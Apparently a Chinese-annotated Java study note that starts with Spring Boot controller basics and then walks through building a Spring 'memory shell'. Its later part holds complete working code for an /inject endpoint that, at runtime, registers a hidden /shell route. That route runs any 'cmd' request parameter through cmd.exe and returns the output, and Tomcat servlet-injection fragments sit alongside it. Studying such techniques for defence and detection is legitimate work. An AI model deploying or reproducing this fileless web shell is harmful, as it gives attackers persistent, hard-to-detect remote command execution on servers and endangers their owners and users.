package com.example.demos.web;

import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;

// @RestController 等于 @Controller + @ResponseBody 的组合
// @Controller — 告诉 Spring 这个类是一个控制器，纳入容器管理
// @ResponseBody — 方法返回值直接写入 HTTP 响应体，不走视图解析（不跳页面）
// 加了 @RestController 之后，return "hello" 就是直接把字符串返回给浏览器，适合写 API 接口
@RestController
public class HelloController {

    // @GetMapping("/hello") 等于 @RequestMapping(value="/hello", method=RequestMethod.GET)，只处理 GET 请求
    // 访问 http://localhost:8080/hello 就会路由到这个方法
    @GetMapping("/hello")
    public String hello() {
        return "hello, spring!";
    }
}

@RestController
public class HelloController {

    @GetMapping("/hello")
    public String hello() { ... }

    @PostMapping("/login")
    public String login() { ... }

    // {id} 这种路径变量是 Spring MVC 特有的功能，叫路径参数
    @GetMapping("/user/{id}")
    public String getUser() { ... }
}

@Controller
public class PageController {
    @GetMapping("/index")
    public String index(Model model) {
        model.addAttribute("name", "张三");
        return "index"; // 跳转到 index.html 模板
    }
}

@RestController
public class ApiController {
    @GetMapping("/user")
    public String user() {
        return "张三"; // 直接返回字符串/JSON
    }
}

package com.example.demos.web;

import org.springframework.web.bind.annotation.*;

@RestController
public class HelloController {

    // 1. 基础接口
    @GetMapping("/hello")
    public String hello() {
        return "hello, spring!";
    }

    // 2. 接收 URL 参数 ?name=xxx
    // @RequestParam — 取 URL 问号后面的参数，对应 Servlet 里的 request.getParameter("name")
    @GetMapping("/greet")
    public String greet(@RequestParam String name) {
        return "hello, " + name + "!";
    }

    // 3. 路径参数 /user/123
    // @PathVariable — 路径里用 {} 占位，方法参数用 @PathVariable 接收，Spring 自动解析
    @GetMapping("/user/{id}")
    public String getUser(@PathVariable String id) {
        return "用户id是：" + id;
    }
}

// 1. 创建恶意 Servlet 实例
EvilServlet evilServlet = new EvilServlet();
// 2. 往 StandardContext 里注册
StandardContext ctx = ...;
ctx.addServlet("evilServlet", evilServlet);
ctx.addServletMappingDecoded("/shell", "evilServlet");

// 1. 创建恶意 Controller 实例
EvilController evilController = new EvilController();
// 2. 往 HandlerMapping 里注册
handlerMapping.registerMapping(mappingInfo, evilController, method);

RequestMappingInfo mappingInfo = RequestMappingInfo
    .paths("/shell")                               // 地址：/shell
    .methods(RequestMethod.GET, RequestMethod.POST) // 支持：GET 和 POST
    .build();

Method method = EvilController.class.getMethod(
    "shell",                    // 方法名
    HttpServletRequest.class,   // 第一个参数类型
    HttpServletResponse.class   // 第二个参数类型
);

method.invoke(evilController, request, response);
// 等价于
evilController.shell(request, response);

package com.example.demos.web;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Method;

@RestController
public class InjectController {

    // handlerMapping 就是那张记录所有 URL 对应哪个 Controller 的表
    // 通过 @Autowired 直接注入，不用自己去容器里手动找
    // JSP 不支持注解，需要通过 WebApplicationContext 手动找容器（后面讲）
    @Autowired
    private RequestMappingHandlerMapping handlerMapping;

    // 普通 Java 类，没有任何注解，不走 Spring 扫描流程，直接手动注册
    public class EvilController {
        // 方法签名需要 request 和 response：
        // request — 用来拿用户传进来的参数（cmd）
        // response — 用来把命令执行结果写回浏览器
        public void shell(HttpServletRequest request, HttpServletResponse response)
                throws Exception {
            // 取 URL 里 ?cmd=whoami 的值，和 Servlet 里的 request.getParameter() 一样
            String cmd = request.getParameter("cmd");
            // 防止 cmd 为空时执行空命令报错
            // != null — 有没有传 cmd 参数
            // !isEmpty() — 传了但不是空字符串
            if (cmd != null && !cmd.isEmpty()) {
                // ProcessBuilder — Java 执行系统命令的类
                //cmd.exe — Windows 的命令解释器，Linux 换成 bash
                // /c — 执行后面的命令然后退出，Linux 换成 -c
                //cmd — 用户传进来的命令，比如 whoami
                ProcessBuilder pb = new ProcessBuilder("cmd.exe", "/c", cmd);
                // 把错误输出合并到标准输出，命令执行报错也能在浏览器看到
                pb.redirectErrorStream(true);
                // JDK8 没有 readAllBytes()，用循环手动读，本质就是把命令执行结果从输出流读出来，写到 HTTP 响应里返回给浏览器。
                Process process = pb.start();// 启动进程
                java.io.InputStream is = process.getInputStream();// 拿到输出流
                java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();// 缓冲区
                byte[] buf = new byte[1024];// 每次读 1024 字节
                int len;
                while ((len = is.read(buf)) != -1){// 循环读直到没有数据
                    baos.write(buf, 0, len);// 写进缓冲区
                }
                response.getWriter().write(baos.toString());// 把结果写回浏览器
            }
        }
    }

    // 提供一个 /inject 接口，模拟实战中的漏洞点，访问它就触发注入流程
    @GetMapping("/inject")
    public String inject() throws Exception {

        // Step 1: 构造路由规则
        // BuilderConfiguration 是一个配置对象
        // setPatternParser 把当前路由表用的路径匹配引擎传进去，保证新注册的路由和已有路由用同一套匹配规则
        // Spring 5.3+ 之后路径匹配换了新引擎 PatternParser，不加这个 /shell 可能匹配不上
        RequestMappingInfo.BuilderConfiguration options =
                new RequestMappingInfo.BuilderConfiguration();
        options.setPatternParser(handlerMapping.getPatternParser());
        // 构造一张路由规则卡片：
        // paths("/shell") — 路径是 /shell
        // methods(GET, POST) — 支持 GET 和 POST
        // options(options) — 用刚才的匹配规则
        // build() — 构建完成
        RequestMappingInfo mappingInfo = RequestMappingInfo
                .paths("/shell")
                .methods(RequestMethod.GET, RequestMethod.POST)
                .options(options)
                .build();

        // Step 2: 注册进路由表
        EvilController evilController = new EvilController();
        // 反射拿到 shell 方法对象，参数是方法名和参数类型列表
        // 告诉 Spring 注册的是 shell 这个方法，参数是 request 和 response
        Method method = EvilController.class.getMethod(
                "shell",
                HttpServletRequest.class,
                HttpServletResponse.class
        );
        // 三合一注册进路由表：
        // mappingInfo — 什么路径触发（/shell，GET/POST）
        // evilController — 交给谁处理（EvilController 实例）
        // method — 调哪个方法（shell）
        handlerMapping.registerMapping(mappingInfo, evilController, method);

        return "注入成功！访问 /shell?cmd=whoami 验证";
    }
}

@Autowired
private RequestMappingHandlerMapping handlerMapping;
// 直接拿到，不需要 WebApplicationContext

// 第一行：拿 Spring 容器
// request.getServletContext() — 从当前请求拿到 ServletContext，它是整个 Web 应用的全局对象，Tomcat 启动时就创建了
// WebApplicationContextUtils.getWebApplicationContext() — 工具类方法，从 ServletContext 里把 Spring 容器找出来
WebApplicationContext context = WebApplicationContextUtils
        .getWebApplicationContext(request.getServletContext());

// 第二行：从容器里取路由表
// context.getBean() — 从 Spring 容器里按类型取 Bean
RequestMappingHandlerMapping handlerMapping =
        context.getBean(RequestMappingHandlerMapping.class);